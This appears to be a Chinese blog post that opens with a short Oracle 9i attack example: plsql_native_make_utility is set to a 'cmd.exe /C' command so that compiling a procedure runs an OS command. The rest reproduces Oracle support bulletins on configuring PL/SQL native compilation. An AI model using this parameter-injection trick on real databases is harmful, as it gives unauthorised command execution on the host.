这里举出一个攻击代码例子，你也许会觉得惊奇，抑或认为这是一个运行命令的好办法，是的它很“有用”。
在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然，可以利用这一点来运行OS命令：
SQL> alter system set plsql_native_make_utility=’cmd.exe /C dir >C:\oops.txt &’;
SQL> alter system set plsql_native_make_file_name=’ foo’;
SQL> alter system set plsql_native_library_dir=’bee’;
系统已更改。
create or replace PROCEDURE wcg
IS
BEGIN
NULL;
END;
/
show errors
在Oracle编译wcg过程的时候，Oracle会执行下面的代码：
cmd.exe /C dir > C:\oops.txt -& -f foo
bee/RUN_CMD__SYSTEM__0.DLL
Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。
Package Body and specification can be compiled in different mode in Oracle 10G
PURPOSE
——-
Explanation of enhancement in Oracle 10G related to Native Compilation.
Explanation
———
Existing Behaviour in 9i
==========================
When you compile package body and specification in different settings(NATIVE,INTERPRETED)
you get PLS-723: package body cannot be compiled native if its spec was
compiled non-native
OR
PLS-724: package body cannot be compiled to bytecode if its spec was native
Description:
Before 10G, if a package specification is compiled for native execution,
the corresponding body should also be compiled using the same setting.
Enhancement in 10G
=====================
Package body and spec are no longer required to be compiled in the same
setting. For example, package body can be compiled native when package
spec was compiled interpreted, or vice versa.
The following example shows the problem:
create or replace package native_check
is
procedure native_proc1;
end;
/
alter session set plsql_compiler_flags=’NATIVE’;
/* Following settings as per requirement */
alter system set plsql_native_library_dir=’—–‘;
alter system set plsql_native_c_compiler=’—–‘;
alter system set plsql_native_linker=’—–‘;
alter system set plsql_native_make_file_name=’—–‘;
alter system set plsql_native_make_utility==’—–‘;
alter system set plsql_native_library_subdir_count=0;
create or replace package body native_check
is
procedure native_proc1 is
begin
dbms_output.put_line(‘Its native_proc1 procedure inside the native_check package’);
end;
end;
/
Error in 9i
============
LINE/COL ERROR
——– —————————————————————–
0/0 PL/SQL: Compilation unit analysis terminated
1/1 PLS-00723: package body cannot be compiled native if its spec was
compiled non-native
In 10G
========
Gets compiled successfully.
PL/SQL Native Compilation in Oracle9i
PURPOSE
——-
The purpose of this bulletin is to describe native compilation of
PL/SQL program units, including configuration and limitations.
SCOPE & APPLICATION
——————-
This bulletin is intended to consolidate information available from
a number of other sources as well as correct some errors in current
versions of the official Oracle9i documentation. This bulletin also
covers some rather subtle points that are not discussed explicitly
in the documentation. It does not provide a tutorial on PL/SQL in
general; an understanding of the PL/SQL language is assumed.
NATIVE COMPILATION OF PL/SQL STORED PROGRAM UNITS IN ORACLE9i
————————————————————-
Introduction
————
In versions prior to Oracle9i, all PL/SQL stored program units are
compiled to P-code. The resulting P-code is stored in the database
and interpreted at runtime. While this results in a very portable
solution, it does have some performance consequences; interpreted
languages are usually slower than natively compiled languages.
As a performance enhancement, Oracle9i provides the capability to
natively compile PL/SQL code into shared libraries. These shared
libraries are then loaded and executed whenever the corresponding
PL/SQL program unit is invoked at runtime.
Native compilation of PL/SQL, once it has been properly configured,
is transparent to both the user compiling a PL/SQL program unit and
to the end user invoking that same PL/SQL program unit.
Oracle9i generates C code corresponding to the PL/SQL code and then
compiles and links the resulting C code into shared libraries using
the compiler and linker for that platform. Therefore, a C compiler
must be installed on the same host for native compilation to work.
The next section discusses the initialization parameters that are
used to configure PL/SQL native compilation. Subsequent sections
discuss other considerations when using native compilation.
Initialization Parameters Related to PL/SQL Native Compilation
————————————————————–
plsql_compiler_flags
Determines whether PL/SQL code is compiled native or interpreted
and determines whether debug information is included.
This parameter is settable at both the system and session levels.
Possible values are: ‘INTERPRETED’ – compile in interpreted mode
‘NATIVE’ – compile in native mode
‘DEBUG’ – include debug information
‘NON_DEBUG’ – no debug information
Defaults are: ‘INTERPRETED’,’NON_DEBUG’
Examples:
alter session set plsql_compiler_flags=’NATIVE’;
alter session set plsql_compiler_flags=’INTERPRETED’,’DEBUG’;
Disallowed combinations:
‘NATIVE’,’INTERPRETED’ – for obvious reasons
‘DEBUG’,’NON_DEBUG’ – for obvious reasons
‘NATIVE’,’DEBUG’ – debugging of natively compiled PL/SQL
is not yet supported
This parameter affects ONLY those PL/SQL program units explicitly
compiled AFTER the parameter is set.
plsql_native_make_file_name
Determines the full path to the makefile used to create the shared
libraries that contain the natively compiled PL/SQL code.
This parameter is settable only at the system level.
This parameter is mandatory if plsql_compiler_flags = ‘NATIVE’.
This parameter should be set to the full pathname of the makefile
provided with Oracle9i for this purpose. The provided makefile is
called ‘spnc_makefile.mk’ and resides in $ORACLE_HOME/plsql.
Since $ORACLE_HOME can vary from one installation to another, this
parameter does not have any default; it must be set explicitly.
Examples:
alter system set plsql_native_make_file_name=
‘/usr/app/oracle/product/9.0.1/plsql/spnc_makefile.mk’;
plsql_native_make_utility
Determines the full path to the make utility used to process the
makefile specified via plsql_native_make_file_name.
This parameter is settable only at the system level.
This parameter is mandatory if plsql_compiler_flags = ‘NATIVE’.
This parameter should be set to the full pathname of the ‘make’
utility on your machine. If the PATH environment variable is set
appropriately, you may find that providing just the name of the
make utility will work; however, it is highly recommended that
the full pathname be provided to avoid potential problems.
Since the location of the make utility can vary from one machine
to another, this parameter does not have any default; it must be
set explicitly.
Examples:
alter system set plsql_native_make_utility=’/usr/ccs/bin/make’;
plsql_native_library_dir
Determines the directory name used to store the shared libraries
that contain the natively compiled PL/SQL code.
This parameter is settable only at the system level.
This parameter is mandatory if plsql_compiler_flags = ‘NATIVE’.
This parameter should be set to the full pathname of the directory
where the shared libraries are to be stored. The ‘oracle’ user must
have write permissions on this directory or native compilation will
fail. Other users’ access to the directory should be restricted; in
particular, no user other than ‘oracle’ or ‘root’ should be allowed
to delete files from this directory.
The directory is assumed to have already been created. Oracle will
not create the directory for you.
There is no default value; this parameter must be set explicitly.
Examples:
alter system set plsql_native_library_dir=
‘/usr/app/oracle/product/9.0.1/plsql_libs’;
plsql_native_c_compiler
This parameter should NOT be set with an alter system command,
in init.ora or the stored parameter file (SPFILE). The provided
makefile should be modified to include the appropriate default
location for the C compiler.
Example (spnc_makefile.mk):
# Specify C Compiler
#
CC=/opt/SUNWspro/bin/cc
plsql_native_linker
This parameter should NOT be set with an alter system command,
in init.ora or in the stored parameter file (SPFILE). The provided
makefile should be modified to include the appropriate default
location for the linker.
Examples (spnc_makefile.mk):
# Specify Linker
#
LD=/usr/ccs/bin/ld
plsql_native_library_subdir_count
Determines the number of subdirectories to be created in the directory
specified by the plsql_native_library_dir parameter.
Rationale:
Performance of certain file operations can be adversely affected if
the number of files in a directory grows very large. In cases where
many PL/SQL program units are natively compiled, each corresponding
to a shared library in plsql_native_library_dir, the number of files
in this directory can become unacceptably large.
By setting this parameter to some value N, you are asking that Oracle
distribute the generated shared libraries across the N subdirectories
of plsql_native_library_dir. The names of these subdirectories are of
the form ‘dn’ where n is the zero-based directory number.
Setting this parameter is recommended if the number of PL/SQL program
units to be natively compiled exceeds 10,000.
This parameter is settable only at the system level.
This parameter is optional; the default value is 0 (zero) so all shared
libraries are by default stored directly in plsql_native_library_dir.
A Typical PL/SQL Native Compilation Session
——————————————-
$ sqlplus system/manager
SQL> alter system set plsql_native_make_file_name=
‘/usr/app/oracle/product/9.0.1/plsql/spnc_makefile.mk’;
System altered.
SQL> alter system set plsql_native_make_utility=’/usr/ccs/bin/make’;
System altered.
SQL> alter system set plsql_native_library_dir=
‘/usr/app/oracle/product/9.0.1/plsql_libs’;
System altered.
NOTE: The above parameters could also be set via the init.ora file. And if
a stored parameter file (SPFILE) exists for this instance, the above
commands will also persist these changes to the SPFILE, eliminating
the need to reaccomplish these steps when the instance is restarted.
NOTE: If there is some doubt about the current settings for the parameters,
they can be viewed via the ‘show parameters plsql’ command in sqlplus
or by querying the v$parameter table directly.
SQL> connect scott/tiger
Connected.
SQL> alter session set plsql_compiler_flags=’NATIVE’;
Session altered.
SQL> create or replace procedure nativetest as
eno number;
begin
select empno into eno from emp
where rownum select object_name, param_name, param_value
from user_stored_settings
where object_name = ‘NATIVETEST’;
OBJECT_NAME PARAM_NAME PARAM_VALUE
———– ——————— —————-
NATIVETEST plsql_compiler_flags NATIVE,NON_DEBUG
To run the natively compiled procedure:
SQL> execute nativetest;
PL/SQL procedure successfully completed.
On Solaris, one can verify that the procedure is being executed natively by
using ‘pmap’ to view the libraries loaded by the oracle executable.
Find the name of the shared library corresponding to the PL/SQL procedure:
SQL> !ls /usr/app/oracle/product/9.0.1/plsql_libs
NATIVETEST__SCOTT__0.so
Note that the shared library name (in this case, on Solaris) is constructed
from the procedure, function or package name and the schema name.
Find the process id of the current sqlplus process:
SQL> !ps
PID TTY TIME CMD
593 pts/10 0:00 ksh
11695 pts/10 0:00 sqlplus
Find the process id of the oracle process: (Note: this assumes you connected
via bequeath; otherwise the oracle process won’t be a child of sqlplus)
SQL> !ps -ef | grep 11695
langor 12080 11695 0 14:28:56 pts/10 0:00 grep 11695
langor 11698 11695 0 14:13:22 ? 0:01 oracleO9iProd …
langor 11695 593 0 14:13:22 pts/10 0:00 sqlplus scott/tiger
Use pmap to see all of the memory segments (including shared libraries) that
are currently attached to this process. You will see NATIVETEST__SCOTT__0.so
listed among the libraries displayed by the pmap utility.
SQL> !/usr/proc/bin/pmap 11698 | more
/* partial listing of output */
EF44C000 8K read/write/exec [ anon ]
EF460000 56K read/exec /usr/lib/libresolv.so.2
EF47C000 8K read/write/exec /usr/lib/libresolv.so.2
EF47E000 16K read/write/exec [ anon ]
EF490000 40K read/exec /usr/ucblib/libucb.so.1
EF4A8000 8K read/write/exec /usr/ucblib/libucb.so.1
EF4B0000 8K read/exec /lang/product/9.0.1/plsqllib/NATIVETEST__SCOTT__0.so
EF4C0000 8K read/write/exec /lang/product/9.0.1/plsqllib/NATIVETEST__SCOTT__0.so
NOTE: It may be possible to perform a similar test on other platforms besides
Solaris, but the tools required will likely differ. See your platform
documentation for how to do this on your operating system platform.
Dependencies, Invalidation and Revalidation
——————————————-
Dependencies between database objects are handled in the same manner as in
previous Oracle versions. If an object upon which some natively compiled
PL/SQL program unit depends changes, the PL/SQL module is invalidated. The
next time the same PL/SQL program unit is executed, an attempt is made to
revalidate (recompile) the module. Any time a module is recompiled as part
of revalidation, it is compiled using its stored setting (i.e. the setting
in force the last time the module was explicitly compiled and appearing in
the USER/ALL/DBA_STORED_SETTINGS data dictionary views).
The stored settings are ONLY used when recompiling as part of revalidation.
Any time a PL/SQL module is explicitly compiled via ‘create or replace’ or
‘alter … compile’, the current setting for the session is used.
Although natively compiled PL/SQL program units are obviously dependent on
their implementation shared libraries, the database is unable to track such
dependencies (since the libraries, which reside on the file system, can be
manipulated directly via OS commands). For example, attempting to execute a
PL/SQL program unit whose shared library has been deleted results in error.
$ rm /usr/app/oracle/product/9.0.1/plsql_libs/NATIVETEST__SCOTT__0.so
$ sqlplus scott/tiger
SQL> execute nativetest;
*
ERROR at line 1:
ORA-06549: PL/SQL: failed to dynamically open shared object (DLL): ld.so.1:
oracleO9iProd: fatal: /lang/product/9.0.1/plsqllib/NATIVETEST__SCOTT__0.so:
open failed: No such file or directory
Since the removal of the library is undetectable to Oracle until the module
is executed, the program unit is not marked INVALID; therefore, there is no
implicit revalidation (and recompilation). To recreate the missing library,
you must explicitly recompile it or recreate it from source.
SQL> alter session set plsql_compiler_flags=’NATIVE’;
Session altered.
SQL> alter procedure nativetest compile;
Procedure altered.
SQL> exit
$ ls /usr/app/oracle/product/9.0.1/plsql_libs
NATIVETEST__SCOTT__0.so
On a related note, shared libararies corresponding to a PL/SQL program unit
are not automatically deleted when the program unit is dropped; these files
must be manually removed when they are no longer needed.